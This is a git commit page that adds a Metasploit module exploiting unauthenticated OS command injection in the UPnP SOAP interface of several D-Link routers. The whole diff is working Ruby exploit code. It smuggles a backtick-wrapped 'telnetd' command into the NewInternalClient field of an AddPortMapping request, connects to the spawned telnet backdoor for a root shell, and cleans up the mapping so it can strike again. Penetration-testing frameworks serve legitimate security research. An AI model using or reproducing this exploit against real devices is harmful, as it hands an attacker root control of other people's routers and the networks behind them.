Add new module to exploit to through telnet dlink_upnp_exec_noauth
jvazquez-r7
parent
846925e3ba
commit
232289d500
|
|
@ -0,0 +1,191 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link Devices UPnP SOAP Command Execution',
|
||||
'Description' => %q{
|
||||
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
|
||||
interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645,
|
||||
DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices
|
||||
may be affected.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '94924' ],
|
||||
[ 'BID', '61005' ],
|
||||
[ 'EDB', '26664' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 05 2013',
|
||||
'Privileged' => true,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
},
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(49152) #port of UPnP SOAP webinterface
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
|
||||
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def tel_timeout
|
||||
(datastore['TelnetTimeout'] || 10).to_i
|
||||
end
|
||||
|
||||
def banner_timeout
|
||||
(datastore['TelnetBannerTimeout'] || 25).to_i
|
||||
end
|
||||
|
||||
def exploit
|
||||
@new_portmapping_descr = rand_text_alpha(8)
|
||||
@new_external_port = rand(65535)
|
||||
@new_internal_port = rand(65535)
|
||||
telnetport = rand(65535)
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
|
||||
|
||||
cmd = "telnetd -p #{telnetport}"
|
||||
type = "add"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
type = "delete"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
|
||||
begin
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
|
||||
if sock.nil?
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
|
||||
prompt = negotiate_telnet(sock)
|
||||
if prompt.nil?
|
||||
sock.close
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
|
||||
end
|
||||
|
||||
handler(sock)
|
||||
rescue
|
||||
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
|
||||
end
|
||||
end
|
||||
|
||||
def request(cmd, type)
|
||||
|
||||
uri = '/soap.cgi'
|
||||
|
||||
data_cmd = "<?xml version=\"1.0\"?>"
|
||||
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
|
||||
data_cmd << "<SOAP-ENV:Body>"
|
||||
|
||||
if type == "add"
|
||||
vprint_status("#{rhost}:#{rport} - adding portmapping")
|
||||
|
||||
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
|
||||
|
||||
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
||||
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
|
||||
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
|
||||
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
|
||||
data_cmd << "<NewEnabled>1</NewEnabled>"
|
||||
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
|
||||
data_cmd << "<NewRemoteHost></NewRemoteHost>"
|
||||
data_cmd << "<NewProtocol>TCP</NewProtocol>"
|
||||
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
|
||||
data_cmd << "</m:AddPortMapping>"
|
||||
else
|
||||
#we should clean it up ... otherwise we are not able to exploit it multiple times
|
||||
vprint_status("#{rhost}:#{rport} - deleting portmapping")
|
||||
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
|
||||
|
||||
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
||||
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
|
||||
data_cmd << "</m:DeletePortMapping>"
|
||||
end
|
||||
|
||||
data_cmd << "</SOAP-ENV:Body>"
|
||||
data_cmd << "</SOAP-ENV:Envelope>"
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'vars_get' => {
|
||||
'service' => 'WANIPConn1'
|
||||
},
|
||||
'ctype' => "text/xml",
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'SOAPAction' => soapaction,
|
||||
},
|
||||
'data' => data_cmd
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
|
||||
def negotiate_telnet(sock)
|
||||
begin
|
||||
Timeout.timeout(banner_timeout) do
|
||||
while(true)
|
||||
data = sock.get_once(-1, tel_timeout)
|
||||
return nil if not data or data.length == 0
|
||||
if data =~ /\x23\x20$/
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue